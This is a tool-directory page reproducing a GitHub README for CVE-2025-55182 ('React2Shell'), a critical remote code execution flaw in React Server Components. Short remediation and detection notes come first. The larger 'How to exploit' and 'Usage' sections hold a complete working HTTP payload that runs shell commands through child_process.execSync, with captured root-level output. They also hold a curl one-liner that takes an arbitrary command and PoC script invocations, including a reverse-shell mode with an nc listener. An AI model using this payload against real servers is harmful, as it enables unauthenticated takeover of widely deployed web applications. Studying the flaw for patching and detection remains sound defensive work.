Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182 — CVE-2025-55182 | Kitploit
Tools/GitHubGitHub/0xblackash/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHub0xblackash/cve-2025-55182

CVE-2025-55182

CVE-2025-55182

View Repository
15 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🚨 CVE-2025-55182 — React2Shell

hq720

Severity CVSS Type Status

CVE-2025-55182 is a critical Remote Code Execution (RCE) vulnerability affecting React Server Components (RSC).


📌 Overview

This vulnerability allows unauthenticated attackers to execute arbitrary code on vulnerable servers.

The issue originates from unsafe deserialization in React Server Component Server Function endpoints. Improper validation allows specially crafted requests to execute malicious payloads.


🧨 Impact

  • 🌍 Network exploitable
  • 🔓 No authentication required
  • ⚡ Low attack complexity
  • 💥 Full server compromise possible
  • 📈 CVSS Score: 10.0 (Maximum Severity)

Because React-based frameworks are widely deployed, the attack surface is extremely large.


📦 Affected Packages

Vulnerable versions include:

root@kitploit:~
react-server-dom-webpack   19.0.0 – 19.2.0
react-server-dom-parcel    19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0

Frameworks built on top of these packages (e.g., Next.js apps using vulnerable versions) may also be affected.


🔎 Technical Root Cause

The flaw is caused by:

  • Insecure handling of serialized input
  • Server-side deserialization occurring before strict validation
  • Lack of adequate endpoint protection

This enables attackers to craft malicious payloads that execute on the server.


🛠 Remediation

✅ Immediate Actions

  • Upgrade to patched React versions (19.2.1 or later)
  • Rebuild and redeploy applications
  • Audit exposed RSC endpoints
  • Monitor logs for suspicious POST requests

🧪 Detection Tips

Look for:

  • Unexpected POST requests to RSC endpoints
  • Suspicious serialized payloads
  • Unusual server-side command execution

📚 Summary

CategoryValue
VulnerabilityRemote Code Execution
Authentication Required❌ No
Attack Vector🌐 Network

How to exploit

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Will return:

root@kitploit:~
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

CVE-2025-55182 2 CVE-2025-55182 3 CVE-2025-55182 4

Usage

root@kitploit:~
┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}
CVE-2025-55182 5 CVE-2025-55182 6
root@kitploit:~
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"
  • Output: ubuntu (or similar).
root@kitploit:~
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"

For reverse shell:

  • Listener: nc -lvnp 4444
  • Run: sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444
  • It should connect back; the response will show 'shell_started' in digest.

⚠️ Final Note

If your application uses React Server Components, patch immediately. Delays increase exposure risk significantly.


Download Tool
Severity
🔴 Critical
Exploited in Wild⚠️ Yes